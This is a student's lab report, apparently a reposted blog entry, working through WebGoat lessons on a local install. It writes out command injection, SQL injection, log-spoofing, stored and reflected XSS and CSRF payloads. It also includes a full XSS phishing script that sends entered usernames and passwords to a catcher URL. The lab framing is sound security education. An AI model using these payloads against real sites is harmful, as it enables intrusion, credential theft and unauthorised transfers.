2019-2020-2 20175228 李玥琛《网络对抗技术》Exp9 Web安全基础

0.安装webgoat

安装jdk1.8版本,安装成功:

下载webgoat-container-7.0.1-war-exec.jar,然后输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat

开启成功:

在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码登录

1.1.SQL注入攻击

命令注入(Command Injection)——修改参数,使服务器执行恶意命令

在左侧菜单栏中选择Injection Flaws->Command Injection,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig"

修改后再次点击下拉框旁的View,如果可以看到执行指令后的网络端口使用情况和IP地址—>攻击成功

数字型注入(Numeric SQL Injection)——在station字段中注入特征字符,组合成新的SQL语句

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,选中的城市编号Value值中添加or 1=1
点击Go!显示所有天气数据

日志欺骗(Log Spoofing)——通过在日志文件中插入脚本实现欺骗。

在User Name输入5228%0d%0aLogin Succeeded for username: admin ,登录

SQL 注入(LAB: SQL Injection)

Stage 1:字符串型注入(Stage 1: String SQL Injection)

右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为100;以用户Neville(admin)登录,输入密码hello' or '1' = '1

1.2.XSS攻击

XSS钓鱼(Phishing with XSS)

原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search框中

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。

存储型XSS攻击(Stored XSS Attacks)

title中输入任意字符,留言板中输入<script>alert("I am 20175228. You've been attacked!!!");</script>,点击生成的message,出现提示。

反射型XSS攻击(Reflected XSS Attacks)

Enter your three digit access code框中输入<script>alert("You've been attacked!!! I'm 20175228");</script>

1.3.CSRF攻击

跨站请求伪造(Cross Site Request Forgery (CSRF))

在文本框中提交一个含有转账恶意请求的代码,<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/>
点击生成的message:

绕过CSRF确认(CSRF Prompt By‐Pass)

猜你喜欢

转载自www.cnblogs.com/20175228lyc/p/12974989.html